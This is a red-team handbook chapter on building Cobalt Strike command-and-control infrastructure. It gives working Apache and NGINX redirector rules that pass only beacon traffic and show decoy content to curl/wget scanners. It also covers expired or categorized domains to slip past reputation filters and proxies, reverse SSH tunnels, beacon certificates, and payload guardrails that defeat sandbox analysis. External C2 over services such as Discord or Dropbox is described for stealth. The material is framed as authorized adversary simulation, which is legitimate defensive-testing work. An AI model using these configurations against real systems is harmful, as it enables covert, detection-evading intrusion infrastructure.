Handbook IV – RedTeam
Table Of Contents
What is Red Teaming?
Red Team Infrastructure
Red Team Do’s and Dont’s
Red Team Tradecraft and TTP Guidance | Red Team Development and Operations
Do | Don’t |
---|---|
Log all significant events | Use untested tools on a target system |
Consult with peers | Use unencrypted channels for C2 |
Understand tools and technology used | Attempt to exploit or attack unencrypted websites |
Perform situational awareness | Execute from non-executable locations |
Minimize callback (C2) volume | Download restricted datasets |
Use binaries for initial access |
Resources
Atomic Red Teaming
This site is designed to help you explore and navigate the Atomic Red Team™ library of tests, as they are mapped to the MITRE ATT&CK® framework and the platforms they support.
Expired Domains
Using expired domains in a red team engagement can help bypass domain reputation filter and avoid detection. Expired domains are less likely to be flagged as suspicious. A newly created domain will probably be picked up by blue team as malicous.
Expired Domains | Daily Updated Domain Lists for 579 TLDs
C2 Infrastructure
Below is a high-level diagram of a secure C2 infrastructure.
Traffic between Victim network and Redirector should be encrypted HTTPS traffic only. On the attack network (Simulated Adversary) only SSH tunnel should be allowed to redirector. No inbound access from the internet to attack network should be allowed. HTTPS from attacker should be allowed to test web server.
Apache as Redirector
Install apache as per your requirements.
sudo apt install apache2
sudo a2enmod ssl rewrite proxy proxy_http
# Use default SSL Config
sudo ln -s ../sites-available/default-ssl.conf ../sites-enabled/default-ssl.conf
sudo systemctl restart apache2
Generate an SSL certificate using a legitimate Certificate Authority(CA) like Let’s Encrypt, VeriSign, GlobalSign or DigiCert, etc.
Edit the config file to include the generated SSL certificate.
# Replace with generated cert
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
root# sudo systemctl restart apache2
Enabling Apache redirector
Enable .htaccess
to configure apache to proxy traffic to Cobalt Strike.
To enable .htaccess
edit /etc/apache2/sites-enabled/default-ssl.conf
. Underneath <VirtualHost>
add a new <Directory>
.
You can also add conditions and rewrite rules directly in the configuration. Rules in configuration apply to entire server or specific virtual host, while rules applied in
.htaccess
only apply to the directory where the file is located and the subdirectories.
<Directory /var/www/html/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
Add SSLProxyEngine on
underneath SSLEngine on
. Restart apache after.
In /var/www/html
create a new .htaccess
file. Add these lines
RewriteEngine on
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]
The [P]
stands for proxy
.
The RewriteRule
will proxy everything to our TeamServer. For example curl https:// domain.com/test
. From an opsec point of view this is not ideal and we will have to add some conditions in order to redirect unwanted traffic elsewhere. For that we will use RewriteCond
.
Rewrite Conditions RewriteCond
can be combined with RewriteRule
. The syntax is TestString Condition [Flags]
. htaccess have multiple flags that can be used.
- [L] – Last. Tells
mod_rewrite
to stop processing further rules. - [NE] – No Escape. Don’t encode special characters (e.g.
&
and?
) to their hex values. - [R] – Redirect. Send a redirect code in response.
- [S] – Skip. Skip the next N number of rules.
- [T] – Type. Sets the MIME type of the response.
- [PT] – Pass Through. Pass rewritten URL to next handler.
- [NC] – No Case. Not casesensitive.
mod_rewrite
documentation have a full details. https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
Apache Rules
Taken from here.
The below rules assumes the following;
- using the Cobalt Strike webbug profile
- data is sent via a cookie instead of in URL
- if a file exists on the redirector (in /var/www/html) it should always be returned
- a, b, c, and d are files hosted on Cobalt Strike that should be accessible
- /var/www/html/diversion is a file on the redirector that displays fake content for a, b, c, and d if they are requested using wget or curl https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
In order to get get exact parameter of the C2 profile, we can use Cobalt Strikes c2lint
. And from there we can craft our rules based on these parameter. This way, only “legitimate” C2 traffic will reach our Teamserver from the redirector.
RewriteEngine on
# check beacon GET
RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{HTTP_COOKIE} SESSIONID
RewriteCond %{REQUEST_URI} __utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
# check beacon POST
RewriteCond %{REQUEST_METHOD} POST [NC]
RewriteCond %{REQUEST_URI} ___utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
# if a,b,c,d and using wget or curl, change file to diversion
RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule ^a|b|c|d$ diversion [PT]
# if file exists on redirector, show that file
RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]
# if a,b,c,d and NOT using wget or curl, redirect to CS web server
RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{REQUEST_URI} a|b|c|d
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
- The first rule checks if a GET request is made with a specific cookie and URL pattern (
__utm.gif
). If these conditions are met, the request is forwarded tohttps://localhost:8443
with the same URI. - The second rule does something similar for POST requests, but it checks for a different URL pattern (
___utm.gif
). If matched, the request is also forwarded tohttps://localhost:8443
. - The third rule checks if the User-Agent is
curl
orwget
and if the request URI matchesa
,b
,c
, ord
. If so, it changes the URI todiversion
and passes it to other rules. - The fourth rule checks if the requested file exists on the server. If it does, the server serves that file directly.
- The fifth rule handles GET requests for
a
,b
,c
, ord
when the User-Agent is notcurl
orwget
. These requests are redirected tohttps://localhost:8443
.
NGINX as Redirector
Nginx can also be used as a redirector, same as apache.
Below is a configuration file similar to one used above in apache.
server {
listen 443 ssl;
server_name yourdomain.com;
ssl_certificate /etc/ssl/certs/your-certificate.pem;
ssl_certificate_key /etc/ssl/private/your-private-key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Check for beacon GET request with specific cookie and query string
location / {
if ($request_method = GET) {
if ($http_cookie ~* "SESSIONID") {
if ($request_uri ~* "__utm.gif") {
if ($query_string ~* "utmac=UA-2202604-2&utmcn=1") {
proxy_pass https://localhost:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
}
}
}
# Check for beacon POST request with specific URI and query string
if ($request_method = POST) {
if ($request_uri ~* "___utm.gif") {
if ($query_string ~* "utmac=UA-220(.*)-2&utmcn=1") {
proxy_pass https://localhost:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
}
}
# If wget or curl is used and request URI is a, b, c, or d, serve diversion
if ($http_user_agent ~* "curl|wget") {
if ($request_uri ~* "(a|b|c|d)") {
rewrite ^ /diversion break;
}
}
# Serve file if it exists on the redirector
try_files $uri $uri/ =404;
# Redirect a, b, c, d to C2 server if User-Agent is not curl or wget
if ($request_method = GET) {
if ($request_uri ~* "(a|b|c|d)") {
proxy_pass https://localhost:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
}
}
}
Generate an SSL certificate using the above mentioned legitimate Certificate Authority(CA) and change line 5 and 6 to match the generated certificate. Restart nginx after systemctl restart nginx
and verify that the config is correct using nginx -t
.
Socat as redirector
You can use socat to spin up a redirector using one command.
sudo socat TCP4-LISTEN:443,fork TCP:localhost:8443
This works fine until you introduce proxies, SSL certificates and other more advanced techniques.
Dealing with proxies
Many organizations have proxies that will filter out traffic they deem malicous or undesirable. Organizations can also use DNS to block traffic from malicous websites, such as Cisco Umbrella.
In order to circumvent these defences we need a valid SSL certificate and a C2 domain that is categorized.
In order to get a domain categorized we need to host content on the site that fits the categorization we are going for. One example is how Stuxnet used two domains used as soccer fans site to phone home.
Setting up SSH Tunnel
Establish a reverse SSH tunnel from TeamServer to Redirector.
ssh -N -R 8443:localhost:443 attacker@10.10.0.100
-N
stops the session from dropping in to a shell.-R
is remote-port:host:host-port. This will bind port 8443 on the target (Redirector 1) and any traffic hitting that port will be redirected to 127.0.0.1:443 on the team server.
Other tools to use is, but not limited to;
- Sshuttle
sshuttle -r username@address subnet
- Autossh
autossh -M 0 -N -f -R 8443:localhost:443 attacker@10.10.0.100
-M 0
: Disables the monitoring port-N
: Prevents executing remote commands; just sets up the tunnel.-f
: tells autossh to run in the background.-R 8443:localhost:443
: Specifies the remote port forwarding, binding port8443
on the remote server (Redirector 1) tolocalhost:443
on the local machine (TeamServer).
Verify that the tunnel is setup correct.
sudo ss -ltnp
You can also curl
from Redirector to verify that you hit Cobalt Strike.
curl -v https://localhost:8443/r1
Beacon Certificate
Cobalt strikes beacon will use its own self-signed certificate by default. Since our Teamserver is not be accessible from the internet, we cannot use a public domain. We will generate our own self-signed certificate instead.
openssl req -x509 -nodes -newkey rsa:2048 -keyout localhost.key -out localhost.crt -sha256 -days 365 -subj '/CN=localhost'
openssl pkcs12 -inkey localhost.key -in localhost.crt -export -out localhost.pfx
keytool -importkeystore -srckeystore localhost.pfx -srcstoretype pkcs12 -destkeystore localhost.store
Place the .store
file in the Cobalt Strike directory and in the malleable profile add these lines.
https-certificate {
set keystore "localhost.store";
set password "pass123";
}
Now we can launch the teamserver with the updated profile.
sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
To verify the certificate on the listener we can use curl.
curl -v -k https://10.10.5.50
Beacon Staging
Avoid using staged payloads as this is considred bad opsec. The reason for this is that it increases network exposure and web logs can reveal the stager. Since staging is unauthenticated it can be made from anyone.
Let’s try this out ourself. First we generate a listener and a stager payload and detonate it on a victim machine. We are using wireshark to look at the traffic between the attacker and the victim.
Those 4 random characters determins if the payload is x86 or x64 bit but doing some mathematical equations.
- Converts each character into its integer representation.
- Calculates the sum of those integers.
- Divides that sum by 256 and checks the remainder.
- If the remainder equals 92, it’s an x86 request.
- If the remainder equals 93, it’s an x64 request.
We can now request the shellcode using curl.
And now we can use a Beacon Parser like the one made by Sentinel One and extract all the information about the beacon.
python3 parse_beacon_config.py /mnt/c/Payloads/shellcode.bin
BeaconType - HTTPS
Port - 443
SleepTime - 60000
MaxGetSize - 1048616
Jitter - 0
MaxDNS - Not Found
PublicKey_MD5 - a3b7d2c9e5f4a1bc8d6e29f3c1b4a7e2
C2Server - 10.2.99.1,/__utm.gif
UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS)
HttpPostUri - /___utm.gif
Payload Guardrails
Guardrails prevents payload to fully execute outside of predefined scope. If an AV sandbox try to execute your payload, it will fail and thus prevent it from analyzing the behaviour of your payload. This has also legal concerns as executing payload outside of agreed upon scope is a very big no-no.
The available options are:
- IP Address
- Internal IP address(es)
- Supports wildcards on the rightmost segments, e.g. 10.10.120.* or 10.10.*.*
- User Name
- Case sensitive username
- Supports wildcards on the left or right, e.g. svc_* or *adm
- Server Name
- Case sensitive computer name
- Supports wildcard on the left or right
- Domain
- Case sensitive domain name
- Supports wildcard on the left or right, e.g. acme.* or *.acme.corp
External C2
External C2 allows third-party programs to act as communication channel between Cobalt Strike and its beacon.
More information can be read here.
Basically what this means that the operator can use whatever protocol to communicate between the teamserver and the beacon as long as egress traffic is allowed. That can be for example using Discord, Office 365, Google drive, Dropbox. The only condition is that the two components can transfer data between each other.
Using External C2 can be stealthy as you design your own communication channels.
This image from @riccymaster illustrate it very nicely.
Redirectors can be layerd on top for added OPSEC. As a matter of fact, it is recommended!
To use External C2, we first need to setup a listener.
This will bind it to port 2222.
On this website, Cobalt Strike team have made a External C2 example using named pipe. The code provided creates a named pipe that handles communication.
After running the External C2 payload on a victim machine you can see that the payload sends the configuration options such as the architecture, the pipename that will be used and the block size.
And we can interact with the beacon using the CS client.